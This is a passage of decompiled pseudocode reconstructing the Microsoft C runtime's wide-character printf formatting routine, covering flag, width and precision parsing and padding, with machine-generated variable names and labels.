									 *((short*)(_t600 - 0x14)) = 0x2d;
									 *(_t600 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t600 - 0x4ac)) =  *((intOrPtr*)(_t600 - 0x18)) -  *(_t600 - 0x24) -  *(_t600 - 0x1c);
							__eflags =  *(_t600 - 0x10) & 0x0000000c;
							if(__eflags == 0) {
								E004297E0(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
							}
							E0042AA50( *(_t600 - 0x1c), __eflags, _t600 - 0x14,  *(_t600 - 0x1c),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
							_t603 = _t603 + 0x10;
							__eflags =  *(_t600 - 0x10) & 0x00000008;
							if(( *(_t600 - 0x10) & 0x00000008) != 0) {
								__eflags =  *(_t600 - 0x10) & 0x00000004;
								if(( *(_t600 - 0x10) & 0x00000004) == 0) {
									E004297E0(0x30,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
									_t603 = _t603 + 0x10;
								}
							}
							__eflags =  *(_t600 - 0xc);
							if(__eflags != 0) {
								L208:
								E0042AA50( *(_t600 - 0x24), __eflags,  *((intOrPtr*)(_t600 - 4)),  *(_t600 - 0x24),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
								_t603 = _t603 + 0x10;
								goto L209;
							} else {
								L201:
								__eflags =  *(_t600 - 0x24);
								if(__eflags <= 0) {
									goto L208;
								}
								L202:
								 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 4));
								 *(_t600 - 0x4b4) =  *(_t600 - 0x24);
								while(1) {
									L203:
									 *(_t600 - 0x4b4) =  *(_t600 - 0x4b4) - 1;
									__eflags =  *(_t600 - 0x4b4);
									if( *(_t600 - 0x4b4) <= 0) {
										break;
									}
									L204:
									_t519 = E00423790(_t600 - 0x40);
									_t523 = E00439180(_t600 - 0x458,  *((intOrPtr*)(_t600 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E00423790(_t600 - 0x40))) + 0xac)), _t519);
									_t603 = _t603 + 0x10;
									 *(_t600 - 0x4b8) = _t523;
									__eflags =  *(_t600 - 0x4b8);
									if( *(_t600 - 0x4b8) > 0) {
										L206:
										E00429780( *(_t600 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0xc;
										 *((intOrPtr*)(_t600 - 0x4b0)) =  *((intOrPtr*)(_t600 - 0x4b0)) +  *(_t600 - 0x4b8);
										continue;
									}
									L205:
									 *(_t600 - 0x44c) = 0xffffffff;
									break;
								}
								L207:
								L209:
								__eflags =  *(_t600 - 0x44c);
								if( *(_t600 - 0x44c) >= 0) {
									__eflags =  *(_t600 - 0x10) & 0x00000004;
									if(( *(_t600 - 0x10) & 0x00000004) != 0) {
										E004297E0(0x20,  *((intOrPtr*)(_t600 - 0x4ac)),  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
										_t603 = _t603 + 0x10;
									}
								}
							}
							L212:
							__eflags =  *(_t600 - 0x20);
							if( *(_t600 - 0x20) != 0) {
								L00422680( *(_t600 - 0x20), 2);
								_t603 = _t603 + 8;
								 *(_t600 - 0x20) = 0;
							}
							while(1) {
								L214:
								 *(_t600 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t600 + 0xc))));
								_t538 =  *(_t600 - 0x454) & 0x0000ffff;
								 *((intOrPtr*)(_t600 + 0xc)) =  *((intOrPtr*)(_t600 + 0xc)) + 2;
								if(( *(_t600 - 0x454) & 0x0000ffff) == 0 ||  *(_t600 - 0x44c) < 0) {
									break;
								} else {
									if(( *(_t600 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t600 - 0x454) & 0x0000ffff) > 0x78) {
										 *(_t600 - 0x4d8) = 0;
									} else {
										 *(_t600 - 0x4d8) =  *(( *(_t600 - 0x454) & 0x0000ffff) + L"cur_max == 2") & 0xf;
									}
								}
								L7:
								 *(_t600 - 0x450) =  *(_t600 - 0x4d8);
								_t576 =  *(_t600 - 0x450) * 9;
								_t493 =  *(_t600 - 0x45c);
								_t546 = ( *(_t576 + _t493 + 0x4092e8) & 0x000000ff) >> 4;
								 *(_t600 - 0x45c) = ( *(_t576 + _t493 + 0x4092e8) & 0x000000ff) >> 4;
								if( *(_t600 - 0x45c) != 8) {
									L16:
									 *(_t600 - 0x4e0) =  *(_t600 - 0x45c);
									__eflags =  *(_t600 - 0x4e0) - 7;
									if( *(_t600 - 0x4e0) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t600 - 0x4e0) * 4 +  &M0042A94C))) {
										case 0:
											L18:
											 *(_t600 - 0xc) = 1;
											E00429780( *(_t600 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t600 + 8)), _t600 - 0x44c);
											_t603 = _t603 + 0xc;
											goto L214;
										case 1:
											L19:
											 *(__ebp - 0x2c) = 0;
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) = __ecx;
											__edx =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__eax =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) =  *(__ebp - 0x18);
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L214;
										case 2:
											L20:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e4) = __ecx;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
											__eflags =  *(__ebp - 0x4e4) - 0x10;
											if( *(__ebp - 0x4e4) > 0x10) {
												goto L27;
											}
											L21:
											_t58 =  *(__ebp - 0x4e4) + 0x42a984; // 0x498d04
											__ecx =  *_t58 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0042A96C))) {
												case 0:
													goto L24;
												case 1:
													goto L25;
												case 2:
													goto L23;
												case 3:
													goto L22;
												case 4:
													goto L26;
												case 5:
													goto L27;
											}
										case 3:
											L28:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__edx =  *(__ebp - 0x18);
												__edx =  *(__ebp - 0x18) * 0xa;
												__eflags = __edx;
												_t82 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__ecx = __edx + _t82;
												 *(__ebp - 0x18) = __ecx;
											} else {
												__edx = __ebp + 0x14;
												 *(__ebp - 0x18) = E00429820(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													__ecx =  *(__ebp - 0x18);
													__ecx =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) = __ecx;
												}
											}
											L33:
											goto L214;
										case 4:
											L34:
											 *(__ebp - 0x30) = 0;
											goto L214;
										case 5:
											L35:
											__edx =  *(__ebp - 0x454) & 0x0000ffff;
											__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
											if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
												__ecx =  *(__ebp - 0x30);
												__ecx =  *(__ebp - 0x30) * 0xa;
												__eflags = __ecx;
												_t93 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
												__eax = __ecx + _t93;
												 *(__ebp - 0x30) = __ecx + _t93;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x30) = E00429820(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L214;
										case 6:
											L41:
											__ecx =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4e8) = __ecx;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
											__eflags =  *(__ebp - 0x4e8) - 0x2e;
											if( *(__ebp - 0x4e8) > 0x2e) {
												L64:
												goto L214;
											}
											L42:
											_t101 =  *(__ebp - 0x4e8) + 0x42a9ac; // 0xa1c19003
											__ecx =  *_t101 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M0042A998))) {
												case 0:
													L47:
													__ecx =  *(__ebp + 0xc);
													__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
														L50:
														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															__eflags =  *(_t600 - 0x28);
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													__eflags =  *(_t600 - 0x28);
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x42aa18; // 0x55ff8b0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0042A9DC))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E00429820(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x44ba18; // 0x409128
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L00421A30( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E00423790(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push(__eax);
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x44ba08; // 0xae625e32
															_push(__edx);
															__imp__DecodePointer();
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	__eax = E00423790(__ebp - 0x40);
																	_push(__eax);
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x44ba14; // 0xae625e32
																	_push(__edx);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E00423790(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44ba10; // 0xae625e32
																	_push(__eax);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00427150( *(__ebp - 4));
															do {
																L187:
																__eflags =  *(_t600 - 0x28);
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E00429820(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E00423790(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E00423790(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E00439180(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														__eflags =  *(_t600 - 0x28);
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00429820(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x44ba1c; // 0x409118
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x44ba18; // 0x409128
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E00423790(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00439110( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															__eflags =  *(_t600 - 0x28);
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E00429820(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E00429820(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
